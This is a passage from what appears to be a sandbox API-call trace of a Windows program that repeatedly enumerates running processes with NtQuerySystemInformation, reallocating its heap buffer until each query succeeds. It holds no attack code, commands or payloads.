Size=0x9144) returned 0x1cda08c0 [0125.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.189] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0125.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.189] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0125.189] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.190] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0125.190] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.190] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0125.190] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.190] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0125.190] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.191] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0125.191] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.191] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0125.191] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.191] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0125.191] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.192] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0125.192] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.192] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0125.192] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.193] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0125.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.193] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0125.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.193] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0125.193] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.194] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0125.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.194] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0125.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.195] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0125.195] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0125.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0125.453] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0125.453] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0125.453] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0125.453] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0125.453] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0125.454] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.454] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0125.454] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.454] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0125.454] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.455] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0125.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.455] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0125.455] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.455] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0125.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.456] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0125.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.456] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0125.456] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.457] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0125.457] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.457] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0125.457] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.457] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0125.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.458] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0125.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.458] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0125.458] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.459] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0125.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.459] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0125.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.460] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0125.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.460] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0125.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.461] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0125.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.461] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0125.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.462] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0125.462] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.462] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0125.462] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.463] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0125.463] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0125.463] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0125.582] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0125.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0125.583] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0125.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0125.583] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0125.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.583] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0125.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.584] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0125.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.584] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0125.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.584] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0125.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.585] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0125.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.585] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0125.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.586] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0125.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.586] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0125.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.586] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0125.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.587] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0125.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.587] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0125.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.588] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0125.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.588] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0125.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.589] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0125.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.589] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0125.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.589] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0125.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.590] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0125.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.590] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x16318) returned 0x1cda08c0 [0125.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.591] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x1733c) returned 0x1cda08c0 [0125.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.591] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x18360) returned 0x1cda08c0 [0125.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.592] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x19384) returned 0x1cda08c0 [0125.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0x0 [0125.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0125.717] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cd660d0, Size=0x2048) returned 0x203fb690 [0125.717] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x203fb690, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x203fb690, ResultLength=0x0) returned 0xc0000004 [0125.717] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x203fb690, Size=0x306c) returned 0x202100b0 [0125.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x202100b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x202100b0, ResultLength=0x0) returned 0xc0000004 [0125.718] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x202100b0, Size=0x4090) returned 0x42072080 [0125.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.718] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x50b4) returned 0x42072080 [0125.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.718] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x60d8) returned 0x42072080 [0125.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.719] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x70fc) returned 0x42072080 [0125.719] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42072080, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x42072080, ResultLength=0x0) returned 0xc0000004 [0125.719] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42072080, Size=0x8120) returned 0x1cda08c0 [0125.719] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.719] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x9144) returned 0x1cda08c0 [0125.719] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0125.720] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xa168) returned 0x1cda08c0 [0125.720] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.168] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xb18c) returned 0x1cda08c0 [0129.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.169] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xc1b0) returned 0x1cda08c0 [0129.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.169] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xd1d4) returned 0x1cda08c0 [0129.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.170] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xe1f8) returned 0x1cda08c0 [0129.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.170] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0xf21c) returned 0x1cda08c0 [0129.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.170] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x10240) returned 0x1cda08c0 [0129.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.171] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x11264) returned 0x1cda08c0 [0129.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.171] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x12288) returned 0x1cda08c0 [0129.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.172] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x132ac) returned 0x1cda08c0 [0129.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.172] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x142d0) returned 0x1cda08c0 [0129.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.173] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cda08c0, Size=0x152f4) returned 0x1cda08c0 [0129.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cda08c0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x1cda08c0, ResultLength=0x0) returned 0xc0000004 [0129.173] 